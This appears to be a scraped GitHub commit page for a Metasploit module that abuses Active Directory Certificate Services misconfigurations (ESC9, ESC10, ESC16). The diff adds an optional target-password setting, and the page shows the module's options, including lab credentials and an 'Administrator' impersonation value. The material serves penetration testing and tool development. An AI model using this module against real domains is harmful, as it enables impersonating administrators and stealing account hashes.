You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
150
+
ALT_DNS no Alternative certificate DNS
151
+
ALT_SID no Alternative object SID
152
+
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
153
+
CA kerberos-DC2-CA yes The target certificate authority
154
+
CERT_TEMPLATE User yes The certificate template
155
+
LDAPDomain kerberos.issue yes The domain to authenticate to
156
+
LDAPPassword N0tpassword! yes The password to authenticate with
157
+
LDAPUsername user1 yes The username to authenticate with, who must have permissions to update the TARGET_USERNAME
158
+
SSL false no Enable SSL on the LDAP connection
159
+
TARGET_PASSWORD N0tpassword! no The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME
160
+
TARGET_USERNAME user2 yes The username of the target LDAP object (the victim account).
161
+
UPDATE_LDAP_OBJECT userPrincipalName yes Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName)
162
+
UPDATE_LDAP_OBJECT_VALUE Administrator yes The account name you wish to impersonate
163
+
164
+
165
+
Used when making a new connection via RHOSTS:
166
+
167
+
Name Current Setting Required Description
168
+
---- --------------- -------- -----------
169
+
RHOSTS 172.16.199.200 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
170
+
RPORT 445 no The target port (TCP)
171
+
172
+
173
+
Auxiliary action:
174
+
175
+
Name Description
176
+
---- -----------
177
+
REQUEST_CERT Request a certificate
178
+
179
+
180
+
181
+
View the full module info with the info, or info -d command.
182
+
183
+
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run
Copy file name to clipboardExpand all lines: modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb
+24-11Lines changed: 24 additions & 11 deletions
Original file line number
Diff line number
Diff line change
@@ -22,9 +22,10 @@ def initialize(info = {})
22
22
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
23
23
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
24
24
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
25
-
admin/ldap/shadow_credentials module to add shadow credentials for the target user. It then uses the
26
-
admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user and requests a certificate via
27
-
MS-ICPR. The resulting certificate can be used for various operations, such as authentication.
25
+
admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is
26
+
not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user
27
+
and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as
28
+
authentication.
28
29
29
30
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
30
31
reverted after execution to maintain system integrity.
@@ -64,7 +65,8 @@ def initialize(info = {})
64
65
OptString.new('LDAPPassword',[true,'The password to authenticate with']),
65
66
OptEnum.new('UPDATE_LDAP_OBJECT',[true,'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.','userPrincipalName',%w[userPrincipalNamedNSHostName]]),
66
67
OptString.new('UPDATE_LDAP_OBJECT_VALUE',[true,'The account name you wish to impersonate','Administrator']),
67
-
OptString.new('TARGET_USERNAME',[true,'The username of the target LDAP object (the victim account).'],aliases: ['SMBUser'])
68
+
OptString.new('TARGET_USERNAME',[true,'The username of the target LDAP object (the victim account).'],aliases: ['SMBUser']),
69
+
OptString.new('TARGET_PASSWORD',[false,'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'],aliases: ['SMBPass'])
fail_with(Failure::BadConfig,"The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.")if@original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
202
204
203
-
# Call the shadow credentials module to add the device and get the cert path
204
-
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
0 commit comments